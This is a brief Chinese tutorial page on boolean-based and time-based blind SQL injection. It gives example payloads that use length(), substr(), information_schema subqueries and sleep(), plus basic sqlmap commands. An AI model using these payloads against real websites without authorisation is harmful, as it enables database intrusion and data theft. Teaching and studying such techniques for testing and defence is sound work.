> 文档中心 > 渗透测试基础-盲注

渗透测试基础-盲注


盲注

盲注:我们通过[判断的方式],去查询相关数据内容。

?id=1 and 1=1

?id=1 and 1=2 

布尔盲注

database();  # 查询当前数据库

length() # 函数,作用是查询长度。

Eg:length('cmd')  # 输出的是:3

length(database()) # 查询的是【当前数据库库名】的长度。

length(database())=2  --> 无查询数据 --> 当前数据库的库名不是2个字符。

数据库库名是kanwolongxia。

length(database())=12 --> 有查询数据 --> 当前数据库的库名长度是12个字符。

substr(字符串,m,n)  # 函数,作用是截取。

substr('cmd',1,1) #  --> 截取的是 c  

substr('lineing_shre',7,1)   # --> 截取的是:g

substr(database(),1,1)  # 截取【当前数据库库名】的第一个字符。

and substr(database(),1,1)='a' --> 页面无内容--> 说明当前数据库库名第一个字符不是a。

and substr(database(),1,1)='b'-->页面无内容--> 说明当前数据库库名第一个字符不是b

and substr(database(),1,1)='k' -->页面有内容 -->  说明当前数据库库名第一个字符是k

and substr(database(),2,1)='a'-->页面有内容 -->  说明当前数据库库名第二个字符是a

盲注很费时间对不对。-->   sqlmap工具  -->专门针对数据库注入漏洞

或and substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1) = 'a' --> 第一个字符不是a

ps:布尔盲注--> 判断网页有/无内容

时间盲注 --> 判断,这个根据网页显示的时间来判断的。

时间盲注 

sleep()  # 这个函数能让网页延迟显示。

and sleep(5) # 网站延时了5秒再显示。

if(length(database())=12,sleep(5),1) --> 网站延迟显示5秒,说明判断条件是对的-->当前数据库库明的长度是12。

网站延迟显示5秒。

sqlmap工具  

sqlmap工具  , 针对的是数据库注入漏洞,而且偏爱盲注。

基本使用

python sqlmap.py -u "URL";

python -u "URL"(kali)

输入网址

输出结果

ps:sqlmap工具,kali自带。


风车动漫